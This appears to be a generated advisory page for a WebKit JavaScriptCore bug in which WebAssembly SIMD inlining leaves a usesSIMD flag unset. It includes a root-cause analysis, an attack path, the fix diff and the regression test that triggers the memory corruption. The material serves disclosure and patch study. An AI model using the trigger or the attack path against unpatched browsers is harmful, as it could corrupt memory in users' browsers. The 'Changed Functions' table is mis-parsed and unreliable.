Medium webkit Memory Corruption 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionThe issue was addressed with improved checks.
ComponentJSC
Bug ClassMemory Corruption
Tracker316918
Fix commitcdf687829ac6 (webkit) +61/-3
CISA KEVNot listed
CreditedOpenAI Codex Security - Amy Burnett
Disclosed2026-09-14

Background

B3 `Procedure`
The top-level container for a B3 IR compilation unit (Source/JavaScriptCore/b3/B3Procedure.{cpp,h}). It carries a m_usesSIMD flag that tells the backend (Air code generation, register allocation, stack-slot sizing) that the function manipulates 128-bit vector (v128) values.
`setUsesSIMD()`
Sets m_usesSIMD = true after RELEASE_ASSERT(Options::useWasmSIMD()). The function was previously misspelled setUsessSIMD() (extra s), so the only caller using the correct intent could not find it / the real propagation path was missing.
WasmOMGIRGenerator
The OMG-tier WebAssembly-to-B3 IR generator (Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp). notifyFunctionUsesSIMD() is the hook called when SIMD operations are introduced into a function being compiled.
Inlining
OMG can inline a SIMD-using callee into a caller that the module did not mark as SIMD-using, introducing v128 values into a Procedure that believed it had none.

Root Cause Analysis

WasmOMGIRGenerator::notifyFunctionUsesSIMD() only asserted that the current function index was marked as SIMD-using: void notifyFunctionUsesSIMD() { ASSERT(m_info.usesSIMD(m_functionIndex)); }. It never told the B3 Procedure that the procedure actually produces/consumes v128 values. Compounding this, Procedure’s own setter was misspelled setUsessSIMD(), so the flag was only set from the Procedure(bool usesSIMD) constructor path. When a SIMD-using callee was inlined into a function the module declared non-SIMD, v128 values entered the Procedure while m_usesSIMD remained false. The backend then sized spill slots, laid out the stack, and allocated/preserved vector registers as if no 128-bit values existed, so live values could be clobbered or truncated — the stack/register state desynchronized from the real v128 usage.

The patch fixes the typo (setUsessSIMD → setUsesSIMD in B3Procedure.cpp and its declaration in B3Procedure.h) and makes notifyFunctionUsesSIMD() actually propagate the fact: it now calls m_proc.setUsesSIMD() in addition to the assert. The regression test (JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js) defines a SIMD-using helper (i64x2.splat inside a thrown tag) and a caller A declared with only externref params/results; it tiers A up to OMG so the SIMD helper is inlined, then checks that 49 externref arguments survive the call unchanged — the “usesSIMD desync” it guards against is exactly the mis-sized frame overwriting live reference values.

Key insight
When SIMD was introduced into a procedure (notably via inlining a SIMD callee into a non-SIMD function), the code never set the B3 Procedure’s m_usesSIMD flag — partly because the setter was misspelled and notifyFunctionUsesSIMD only asserted — so the backend laid out the frame without accounting for v128, corrupting live values.

Attack Path

  1. Delivery Attacker serves a page that instantiates a crafted WebAssembly module (web-reachable).
  2. Craft modules Define a helper function that uses SIMD (v128) and a caller declared with non-SIMD signature (reference/integer params and results) that calls the helper.
  3. Tier up Drive the caller to the OMG tier (hot loop) so OMG inlines the SIMD helper into the non-SIMD caller.
  4. Desync notifyFunctionUsesSIMD (pre-fix) fails to set the Procedure’s SIMD flag, so Air allocates a frame/register plan that ignores the inlined v128 values.
  5. Corrupt Code generation overlaps or truncates stack slots/registers, clobbering live values — the test observes externref results being overwritten.
  6. Primitive Memory/register state corruption in JIT-compiled code; observed as value corruption and crash. If a non-cell value overwrites a reference slot it becomes a type confusion / controlled corruption — escalation beyond the crash is inferred, not shown by the diff.

Impact Assessment

Runs in the renderer (Safari web content) process at ordinary web privilege via the OMG WebAssembly JIT. The diff substantiates a state-desynchronization memory-corruption bug: the Procedure’s usesSIMD flag is not set when SIMD is inlined into a non-SIMD function, so the backend mis-lays the frame and clobbers live values (the test corrupts externref results). The advisory labels it an “unexpected Safari crash” with “improved checks”; the diff shows the stronger memory-corruption root cause, though whether the clobber is steerable into a controlled read/write or type confusion is inferred, not proven by the diff. Gating: requires OMG tier-up and an inlining shape that pulls SIMD into a procedure not already flagged SIMD.

Changed Functions

FunctionChangeNotes
for
JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
modified
if
JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
modified

Files Changed

  • JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
  • Source/JavaScriptCore/b3/B3Procedure.cpp
  • Source/JavaScriptCore/b3/B3Procedure.h
  • Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp

Audit Directions

  • SIMD-flag propagation
    Audit every path that can introduce v128 into a Procedure after construction (inlining, intrinsics, lowering) to confirm setUsesSIMD() is called before backend layout.
  • Assert-only notifications
    Search for other notify*/ASSERT-only hooks that are expected to mutate state but only assert, a pattern that silently loses an invariant in release builds.
  • Frame/register sizing on capability flags
    Review where Air/register allocation decisions depend on usesSIMD (or similar capability flags) and whether a stale flag can undersize the frame.
diff --git a/Source/JavaScriptCore/b3/B3Procedure.cpp b/Source/JavaScriptCore/b3/B3Procedure.cpp
index ec1af134843a..d9d168befdb8 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.cpp
+++ b/Source/JavaScriptCore/b3/B3Procedure.cpp
@@ -56,7 +56,7 @@ Procedure::Procedure(bool usesSIMD)
     , m_byproducts(makeUnique<OpaqueByproducts>())
 {
     if (usesSIMD)
-        setUsessSIMD();
+        setUsesSIMD();
     // Initialize all our fields before constructing Air::Code since
     // it looks into our fields.
     m_code = std::unique_ptr<Air::Code>(new Air::Code(*this));
diff --git a/Source/JavaScriptCore/b3/B3Procedure.h b/Source/JavaScriptCore/b3/B3Procedure.h
index 7e17a1428062..861f61de2532 100644
--- a/Source/JavaScriptCore/b3/B3Procedure.h
+++ b/Source/JavaScriptCore/b3/B3Procedure.h
@@ -287,7 +287,7 @@ public:
     bool shouldDumpIR() const { return m_shouldDumpIR; }
     JS_EXPORT_PRIVATE void setShouldDumpIR();
 
-    void setUsessSIMD()
+    void setUsesSIMD()
     { 
         RELEASE_ASSERT(Options::useWasmSIMD());
         m_usesSIMD = true;
diff --git a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
index 4020e736208e..4670eba207ed 100644
--- a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
@@ -476,7 +476,11 @@ public:
 
     // SIMD
     bool usesSIMD() { return m_info.usesSIMD(m_functionIndex); }
-    void notifyFunctionUsesSIMD() { ASSERT(m_info.usesSIMD(m_functionIndex)); }
+    void notifyFunctionUsesSIMD()
+    {
+        ASSERT(m_info.usesSIMD(m_functionIndex));
+        m_proc.setUsesSIMD();
+    }
     WARN_UNUSED_RETURN PartialResult addSIMDLoad(ExpressionType pointer, uint32_t offset, ExpressionType& result);
     WARN_UNUSED_RETURN PartialResult addSIMDStore(ExpressionType value, ExpressionType pointer, uint32_t offset);
     WARN_UNUSED_RETURN PartialResult addSIMDSplat(SIMDLane, ExpressionType scalar, ExpressionType& result);
diff --git a/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
new file mode 100644
index 000000000000..20ba8b3113d6
--- /dev/null
+++ b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
@@ -0,0 +1,54 @@
+load("../libwabt.js");
+
+const NUM_REFS = 49;
+
+let wabt = await WabtModule();
+
+let refParams = "", refResults = "", pushResults = "";
+
+for (let i = 1; i <= NUM_REFS; i++) {
+    refParams  += " externref";
+    refResults += " externref";
+    pushResults += `(local.get ${i})\n`;
+}
+
+const wat = `
+(module
+  (tag $T (param i64 i64 i64 v128))
+  (func $B (param i64)
+    (throw $T (i64.const 0) (i64.const 0) (i64.const 0)
+              (i64x2.splat (local.get 0))))
+  (func $A (export "A") (param i64${refParams}) (result${refResults})
+    (try
+      (do (call $B (local.get 0)))
+      (catch_all))
+    ${pushResults}
+  )
+)`;
+
+const bin = wabt.parseWat("filenamesAreCool", wat, { simd: true, exceptions: true, reference_types: true, multi_value: true }).toBinary({}).buffer;
+const inst = new WebAssembly.Instance(new WebAssembly.Module(bin), {});
+const A = inst.exports.A;
+
+const sentinel = { marker: "SENTINEL" };
+const args = [0xan];
+for (let i = 0; i < NUM_REFS; i++)
+    args.push(sentinel);
+
+// Tier $A up to OMG.
+let last;
+for (let i = 0; i < testLoopCount; i++)
+    last = A.apply(null, args);
+
+let bad = -1;
+
+for (let k = 0; k < NUM_REFS; k++) {
+    if (last[k] !== sentinel) {
+        bad = k;
+        break;
+    }
+}
+
+if (bad >= 0) {
+    throw new Error("usesSIMD desync");
+}
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
new file mode 100644
index 000000000000..20ba8b3113d6
--- /dev/null
+++ b/JSTests/wasm/stress/inline-wasm-simd-into-non-simd.js
@@ -0,0 +1,54 @@
+load("../libwabt.js");
+
+const NUM_REFS = 49;
+
+let wabt = await WabtModule();
+
+let refParams = "", refResults = "", pushResults = "";
+
+for (let i = 1; i <= NUM_REFS; i++) {
+    refParams  += " externref";
+    refResults += " externref";
+    pushResults += `(local.get ${i})\n`;
+}
+
+const wat = `
+(module
+  (tag $T (param i64 i64 i64 v128))
+  (func $B (param i64)
+    (throw $T (i64.const 0) (i64.const 0) (i64.const 0)
+              (i64x2.splat (local.get 0))))
+  (func $A (export "A") (param i64${refParams}) (result${refResults})
+    (try
+      (do (call $B (local.get 0)))
+      (catch_all))
+    ${pushResults}
+  )
+)`;
+
+const bin = wabt.parseWat("filenamesAreCool", wat, { simd: true, exceptions: true, reference_types: true, multi_value: true }).toBinary({}).buffer;
+const inst = new WebAssembly.Instance(new WebAssembly.Module(bin), {});
+const A = inst.exports.A;
+
+const sentinel = { marker: "SENTINEL" };
+const args = [0xan];
+for (let i = 0; i < NUM_REFS; i++)
+    args.push(sentinel);
+
+// Tier $A up to OMG.
+let last;
+for (let i = 0; i < testLoopCount; i++)
+    last = A.apply(null, args);
+
+let bad = -1;
+
+for (let k = 0; k < NUM_REFS; k++) {
+    if (last[k] !== sentinel) {
+        bad = k;
+        break;
+    }
+}
+
+if (bad >= 0) {
+    throw new Error("usesSIMD desync");
+}
Loading diff…